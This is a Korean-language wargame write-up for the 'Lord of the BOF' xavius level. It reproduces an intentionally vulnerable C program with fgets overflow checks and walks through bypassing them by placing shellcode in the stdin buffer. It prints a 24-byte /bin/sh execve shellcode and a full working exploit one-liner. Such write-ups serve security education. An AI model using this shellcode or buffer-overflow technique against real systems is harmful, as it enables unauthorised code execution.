[LOB] nightmare
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
코드를 확인해 보면,
1. 다른 문제들은 strcpy 함수에서 오버플로우가 발생했는데 이번에는 fgets 함수에서 일어난다.
2. if(*(buffer+47)=='\xbf')와 if(*(buffer+47)=='\x08') 만족시 exit(0)가 된다.
👉 'xbf' : 메모리 주소 stack위의 buffer에 쉘코드 넣는 거 불가
👉 'x08' : 함수 주소로 RTL 불가
3. memcpy(&ret_addr, buffer+44, 4); 를 통해서 buffer+44(=ret주소)에 있는 값 4bytes를 ret_addr에 넣는다.
그러고 나서 ret_addr의 앞에 2bytes가 \x90\x90이 아닐 때 while 문이 도는데
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
*ret_addr == '\xc9' 와 *(ret_addr+1) == '\xc3' 에서
- ret_addr는 첫번째바이트가 \xc9가 되면 안되고, 다음주소 ret_addr +1도 첫번째 바이트가 \xc3이 되면 안된다.
- 조건(\x90\x90)이 만족할 때까지 ret_addr를 +1 한다.
disass main을 한 뒤
main 함수 내의 leave와 ret가 있는 곳을 확인해보니 이 조건들이 이해되었다
👉 leave-ret 가젯 사용 불가
4. buffer와 sfp까지와 buffer+48부터 끝까지 0으로 초기화되고, buffer-3000부터 3000-44까지 0으로 초기화
👉 RET 주소 빼고는 전부 초기화
우선, 스택구조를 살펴보면 아래와 같다.
fgets 함수가 사용된 부분은
fgets(buffer, 256, stdin);
이고,
fgetst에서 입력에 stdin을 사용하는데
stdin은 임시로 입력값을 저장하는 임시 버퍼라고 하는데 fgets이 어떻게 동작하는지 설명한 글이 있어서 참고했다.
네모로 친 부분이 fgets가 작동하는 부분으로
ds:0x8049ac = stdin
0x100 = sizeof(buffer)
lea eax, ebl-40; push %eax = buffer
$ (python -c 'print "A"*100';cat) | ./xavius
$ gdb -q -c core
여기서 stdin 위치를 확인
위의 0x40015065 0x40015065 0x40015000의 의미
1) fgets로 0~0x65(101개)까지 받았다는 것을 의미
2) stdin이라는 임시버퍼가 0~101전까지의 문자 입력을 받았다.(A*100 + 엔터)
3) stdin의 시작주소
해당 위치의 내용을 보면 입력했던 "A"가 들어 가 있다.
👉 이쪽은 초기화되지 않았다.
👉 여기에 쉘코드를 넣으면 될 거 같다.
페이로드 :
shellcode + NOP ☞ 44bytes
[shellcode 24bytes]
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
[NOP 20bytes]
+"\x90"*20
RET : stdin 버퍼의 위치 = 0x40015000
최종 페이로드 :
(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\x00\x50\x01\x40"';cat) | ./xavius
실행 결과 :
성공 ! 🎁
추가로,
gdb 상에서 fgets 함수의 입력값을 어떻게 줘야 하는지 몰라서 이문제를 풀 때 core를 이용했는데,
다른 풀이를 보니까, 미리 input 파일을 만든 다음에 (ex. python -c 'print "A"*100' >> input)
r 할 때, 해당 파일을 넣어 주면 된다. (ex. b *main → r < input )
fget함수, stdin, 임시 버퍼에 대해서 알게 되었다⭐
Reference :
https://dokhakdubini.tistory.com/251
https://turtle1000.tistory.com/58